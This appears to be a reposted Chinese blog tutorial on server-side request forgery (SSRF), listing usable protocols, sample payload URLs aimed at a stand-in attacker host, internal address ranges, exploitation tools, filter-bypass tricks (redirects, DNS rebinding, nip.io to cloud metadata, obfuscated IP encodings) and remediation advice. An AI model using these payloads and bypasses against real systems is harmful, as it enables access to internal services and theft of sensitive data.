ssrf漏洞--补充部分

news2024/10/7 16:21:41

可以使用的协议

下面是攻击时常用的协议

  1. http/https
  2. ftp
  3. tftp
  4. sftp
  5. file
  6. dict
  7. Gopher
  8. ldap
  9. ldaps
  10. ldapi
file://path/to/file
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
dict://127.0.0.1:1337/stats
ftp://127.0.0.1/
sftp://attacker-website.com:1337/
tftp://attacker-website.com:1337/TESTUDPPACKET
ldap://127.0.0.1:389/%0astats%0aquit
ldaps://127.0.0.1:389/%0astats%0aquit
ldapi://127.0.0.1:389/%0astats%0aquit
gopher://attacker-website.com/_SSRF%0ATest!

攻击

ssrf 攻击可以做到rce、端口扫描、敏感信息获取等操作。

扫描内网端口时

10.0.0.0/8
127.0.0.1/32
172.16.0.0/12
192.168.0.0/16

获取敏感信息

  • file读取文件
  • http操纵REST API读取敏感信息。NoSQL 数据库,云平台关键数据等。
  • 探测敏感信息

除了上述的利用外,很多也提到了使用ftp相关协议进行文件的读取,但是示例较少,不太清楚怎么进行具体操作。

执行类

可以攻击特定的程序达到rce的目的,例如攻击fastcgi、redis等,可以使用工具生成对应的payload

https://github.com/tarunkant/Gopherus

漏洞利用工具

https://github.com/swisskyrepo/SSRFmap

绕过

很多公司都已经认识到了SSRF攻击的风险。大多数都在其 Web 应用程序上实施了某种形式的 SSRF 防护。主要就是采用黑名单和白名单的方式。

黑名单就是不允许定义好的地址列表。大多数 SSRF 保护采用将内部网络地址块列入黑名单的形式。

白名单意味着服务器只允许通过包含预先指定列表中的URL的请求,并使所有其他请求失败。

不用说也知道,白名单更加安全。

绕过白名单

利用开放重定向

若是白名单限制十分严格,匹配规则无漏洞,那么则无法通过直接的方式进行ssrf攻击,若结合白名单内,域名存在开放重定向漏洞,结合起来,则可以成功实施ssrf任意访问。

正则绕过

适用于正则匹配的规则存在缺陷,例如没有使用$结束符号。

那么可以使用如下的示例进行尝试绕过

victim.com.attacker.com

attacker.com/victim.com

绕过黑名单

重定向绕过

对于ssrf 漏洞,重定向真实特别有用,可以用来绕过地址限制、协议限制,对内部服务器进行扫描和攻击。

1、可以构建简单的web服务进行30X重定向,下面是php代码的简单实现。
<?php header(“location: http://127.0.0.1"); ?>

2、使用nc工具也可以实现
nc -lvp 80 < response.txt

3、使用URL短链接服务。

4、模拟webhooks服务

使用环境特性
Node.js(仅适用于windows版本)

windows 版本的Node.js,会将任何单个字符的"x://text"的协议识别为"file://text"。

在这里插入图片描述

java 对于可以读取本地内容的特性。

file:///  #可以列出目录

url:file:///   #仍旧可以列出目录

在这里插入图片描述在这里插入图片描述

使用DNS欺骗

修改控制的域的 A/AAAA 记录,并使其指向要攻击的内部地址,例如,假设http://attacker.com是被我们控制的域名。那么我们可以创建自定义主机名到 IP 地址的映射,并将http://subdomain.attacker.com解析为 127.0.0.1。现在,当目标服务器请求http://attacker.com 时,就会将域名解析为127.0.0.1,从而去本地去获取数据。

使用域名而不是IP地址

开发人员可能是禁用了对内部IP地址的访问,比如正则匹配IP地址,而对域名没有限制。下面的这些域名,均与解析为IP地址 169.254.169.254,这是因为nip.io域名的特殊行。

169.254.169.254.nip.io
169-254-169-254.nip.io
a9fea9fe.nip.io(十六进制 IP 表示法)
Something.google.com.169.254.169.254.nip.io

另外,针对这一点,我觉得还可以再子域名枚举时,留意内部IP和域名,获得ssrf的时候直接进行使用。

DNS重绑定

  1. 获取到输入的URL,从该URL中提取host
  2. 对该host进行DNS解析,获取到解析的IP
  3. 检测该IP是否是合法的,比如是否是私有IP等
  4. 如果IP检测为合法的,则进入curl的阶段发包

在这个流程中,一共进行了两次DNS解析:第一次是对URL的host进行DNS解析,第二次是使用CURL发包的时候进行解析。这两次DNS解析是有时间差的,我们可以使用这个时间差进行绕过。

DNS重绑定工具:https://github.com/taviso/rbndr

非标准IP地址表示方法
在RFC3986种定义了多种非常规格式的IP地址,在绕过检查时可能会得到意想不到的就结果。

  • 点分十六进制: 0x7f.0x0.0x0.0x1
  • 无点十六进制:x7f001
  • 带填充的无点十六进制:0x0a0b0c0d7f000001(填充内容为0a0b0c0d)
  • 点分八进制: 0177.0.0.01
  • 无点八进制: 017700000001
  • 带填充的点分八进制:00177.000.0000.000001(填充的内容为0.00.000.0000)
  • 无点十进制IP:2130706433
  • 带溢出的ip (256): 383.256.256.257

另外还有一些其他的方式可以对IP地址的格式进行变换。

  • 通过删除IP地址中零,来精简IP
0       => 0.0.0.0
127.1   => 127.0.0.1
127.0.1 => 127.0.0.1

可以使用localhost代替127.0.0.1


还可以使用IPv6地址

以及一些特殊格式,可以使用在线工具

https://findipv6.com/ipv4-to-ipv6


使用封闭的字母,看起来乱七八糟得到

127。0。0。1
127。0。0。1
127.0.0.1
⑫7。⓪.𝟢。𝟷
𝟘𝖃𝟕𝒇。𝟘𝔵𝟢。𝟢𝙭⓪。𝟘𝙓¹
⁰𝔁𝟳𝙛𝟢01
2𝟏𝟑𝟢𝟕𝟢6𝟺𝟛𝟑
𝟥𝟪³。𝟚⁵𝟞。²₅𝟞。²𝟧𝟟
𝟢₁𝟳₇。0。0。𝟢𝟷
𝟎𝟢𝟙⑦⁷。000。𝟶𝟬𝟢𝟘。𝟎₀𝟎𝟢0𝟣
[::𝟏②₇.𝟘.₀.𝟷]
[::𝟭2𝟟。⓪。₀。𝟣%𝟸𝟭⑤]
[::𝚏𝕱ᶠ𝕗:𝟏₂7。₀。𝟢。①]
[::𝒇ℱ𝔣𝐹:𝟣𝟤7。₀。0。₁%②¹𝟧]
𝟎𝚇𝟕𝖋。⓪。𝟣
𝟎ˣ𝟩𝘍。𝟷
𝟘𝟘①𝟕⑦.1
⓪𝟘𝟙𝟳𝟽。𝟎𝓧₀。𝟏

无点十进制的计算方法如下

除上述的外,iP地址基本上是一个 32 位数字,分为四个八位组(八位组),并以十进制格式写入。例如,127.0.0.1 实际上是 01111111.00000000.00000000.000000001 的十进制表示形式。当我们将整个数字 (01111111000000000000000000000001) 转换为一个十进制数时,我们会得到 dword 格式的 IP 地址!

dword 中的 127.0.0.1 是什么?这是 127256³+0256²+0256¹+1256⁰ 的答案,这是2130706433。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RTNOD1Qs-1670221322994)(https://note.youdao.com/yws/res/22093/WEBRESOURCEc6348127eb22e0fd78df956e6c0ad624)]


基于256溢出的IP地址,就是每个数值加上256

漏洞修复

如不需要,直接禁用该功能

如果不需要,还建议限制使用网络调用,因为它也可能导致敏感信息暴露或者至少限制对内部网络或关键资源执行网络调用的能力。

将 DNS 中的域列入白名单
修正 SSRF 的最简单方法是将应用程序访问的任何域或地址列入白名单。

不发送原始响应

不要将原始响应直接从服务器返回客户端,应该对于敏感数据等内容进行脱敏,客户端可以收到的内容应该是被限制的。

强制实施网址架构

禁用其他协议的使用,仅允许程序使用http协议。

如果您确实使用,请确保相关功能的安全。

在所有服务上启用身份验证
确保网络上运行的任何服务上启用身份验证,即使服务并不需要身份验证。

像memcached,redis,mongo等服务不需要身份验证也可以进行正常操作,但是不添加身份验证同时也意味着容易被攻击。

清理和验证输入
永远不要相信用户输入。

始终清理用户发送到应用程序的任何输入。删除坏字符,标准化输入(例如,用双引号代替单引号)。

清理后,请确保验证经过净化的输入,以确保没有不良传入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/63424.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

git常见bug及其解决方案

git常用命令和常见bug1、git主要命令2、git commit 提交的时候报错husky > pre-commit hook failed3、git命令行将本地仓库代码上传到github或gitlab远程仓库4、没有git pull更新代码就push的报错5、git 拉取某个分支的某一个commit的代码6、GitLab中配置SSH key7、配置成和…

QT:布局管理器消息盒子

让组件在水平和垂直方向对齐 有三种常用布局管理器&#xff1a; 水平&#xff0c;QHBoxLayout 垂直&#xff0c;QVBoxLayout 网格&#xff0c;QGridLayout(使布局好的界面嵌套到主窗口) 1.让组件大小固定 修改属性&#xff1a;minimusize&#xff0c;maxmumsize 最小和最大组件…

腾讯智慧交通的「KPI底座」

腾讯智慧交通背后&#xff0c;打造的是产业数字化下的数字产业新模式&#xff0c;也更是数字孪生、全真互联的新底盘。 作者|斗斗 出品|产业家 过去的一年&#xff0c;交通行业迎来一份重磅的文件《国家综合立体交通网规划纲要》&#xff0c;该纲要有一个最为关注的数字指…

HTML设计一个简单的奥迪RS汽车主题网站( web网页制作期末大作业)

&#x1f389;精彩专栏推荐 &#x1f4ad;文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业&#xff1a; 【&#x1f4da;毕设项目精品实战案例 (10…

节能灯与led灯哪个对眼睛好?分享专业护眼的led灯

led灯完胜&#xff0c;也是现在大部分家居主流灯具。 许多家庭有这个疑惑&#xff0c;节能灯与led灯哪个对眼睛好&#xff1f;节能灯最大亮点就是寿命长&#xff0c;能量转化率比白炽灯高很多&#xff0c;但是跟led灯相比&#xff0c;是led灯的转化率更高的。 那么节能灯有哪些…

Git浅浅入个门~

1 Git 1.1 安装配置 install 安装位置&#xff1a;$HOME/git二进制文件位置&#xff1a;/usr/bin/git /* Linux 源码安装 git */ [usernamehostname]$ git clone git://git.kernel.org/pub/scm/git/git.git [usernamehostname]$ cd git [usernamehostname]$ ./configure --…

【入门到精通】安装与运行PHP脚本语言

文档背景 突然看见XSS攻击和钓鱼网站一些实现的代码。突然对PHP语言燃起了兴趣&#xff0c;怎么可以用如此精简的流程去实现复杂的逻辑。所以来记录一下入门PHP的一个过程&#xff0c;以免遗忘。 1、PHP简介 PHP是什么? PHP&#xff08;全称&#xff1a;PHP&#xff1a;Hyper…

基于蒙特卡洛的大规模电动汽车充电行为分析(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️❤️&#x1f4a5;&#x1f4a5;&#x1f4a5; &#x1f4dd;目前更新&#xff1a;&#x1f31f;&#x1f31f;&#x1f31f;电力系统相关知识&#xff0c;期刊论文&…

em13c 部署 AGENT报:SSH 服务器检查失败

报错信息如下&#xff1a; 2022-03-18_19-43-21:INFO: Jsch Valdation Failed Problem :SSH 服务器检查失败 Recommendation: 验证 /u02/em13c/oraclehome/oui/prov/resourcesPaths.properties 文件中 SSH_PORT 的值。请确保该值与远程主机上运行 sshd 的端口相同。 2022-03-18…

Linux(CentOS-7)-全面详解(学习总结---从入门到深化)

Linux概述 Linux特点 首先Linux作为自由软件有两个特点&#xff1a;一是它免费提供源代码&#xff0c; 二是爱好者可以根据自己的需要自由修改、复制和发布源码 Linux的各个发行版本 Linux 的发行版说简单点就是将 Linux 内核与应用软件做一个打 包。 1、Red Hat Linux 2、Ubu…

Word文档怎样翻译?Word文档翻译方法大分享

大家平时会被这种情况所困扰吗&#xff1f;在交接工作的时候&#xff0c;接收到一个Word文档&#xff0c;却发现是英文的&#xff0c;奈何自己的英语基础不够&#xff0c;难以完全理解文档里面的内容。这种情况我们该如何解决呢&#xff1f;别担心&#xff0c;今天教你Word文档…

如何实施企业采购战略?

拥有现代灵活的采购战略&#xff0c;不仅可以使企业降低成本和提高效率&#xff0c;而且还可以作为一种竞争优势&#xff0c;帮助企业增加收入。 根据行业的不同&#xff0c;供应链成本&#xff08;主要是采购和运输成本&#xff09;可能占销售额的50%至70%。因此&#xff0c…

[附源码]Python计算机毕业设计Django通用病例管理系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

开源消息引擎系统 Kafka 3新特性,一文带你了解

文章目录1、Kafka 简介2、kafka3 的安装配置3、Kafka 当中 Raft 的介绍4、Raft 算法介绍5、Kafka 常见问题1、Kafka 简介 Kafka 是一款开源的消息引擎系统。一个典型的 Kafka 体系架构包括若干 Producer、若干 Broker、若干 Consumer&#xff0c;以及一个 ZooKeeper 集群&#…

Spring IoC Container 原理解析

IoC、DI基础概念 关于IoC和DI大家都不陌生&#xff0c;我们直接上martin fowler的原文&#xff0c;里面已经有DI的例子和spring的使用示例 《Inversion of Control Containers and the Dependency Injection pattern》 https://www.martinfowler.com/articles/injection.htm…

关系抽取(三)实体关系联合抽取:CasRel

目录 关系抽取两大类方法 CasRel&#xff08;HBT&#xff09;——ACL2020 1. 基本思想 2. 模型细节 2.1 头实体识别层 2.2 关系、尾实体联合识别层 2.3 原理解释 3. 实验 NLP 关系抽取 — 概念、入门、论文、总结 - 知乎 (zhihu.com) 关系抽取两大类方法 按模型结构…

Git应用详解第七讲:Git refspec与远程分支的重要操作

这一节来介绍本地仓库与远程仓库的分支映射关系: git refspec 。彻底弄清楚本地仓库到底是如何与远程仓库进行联系的。 一、 Git refspec refspec 是 Reference Specification 的缩写,字面意思就是 具体的引用 。它其实是 一种格式 , git 通过这种格式来表示 本地分支 与 …

盘点|国内5款主流低代码开发平台介绍

国内主流低代码开发平台有哪些&#xff1f; 低代码开发平台作为解决企业数字化转型的有力手段&#xff0c;得到越来越多的关注&#xff0c;但企业在选型的时候也很苦恼&#xff0c;到底该选哪家&#xff0c;不同低代码平台到底有啥区别&#xff1f;各自侧重点是什么&#xff1…

R和Python机器学习:广义线性回归glm,样条glm,梯度增强,随机森林和深度学习模型分析

使用R和Python进行分析的主要好处之一是&#xff0c;它们充满活力的开源生态系统中总是有新的和免费提供的服务。 去年&#xff0c;我们与一家公司进行了短暂的咨询工作&#xff0c;该公司正在构建一个主要由基于R和Python机器学习分析的应用程序。 如今&#xff0c;越来越多…

在M1Mac上为GIMP安装G‘MIC插件

tags: GIMP MacOS Tips 写在前面 在Mac上使用GIMP也有段时间了, 虽然用起来还是一股理科风, 但是还是不影响使用, 之前就看过一个介绍GMIC插件的视频, 其中的滤镜效果确实很不错, 但是一直安装失败(可能是m1的原因), 这次看到GIMP更新到了Apple silicon的原生支持: 2.10.32-1…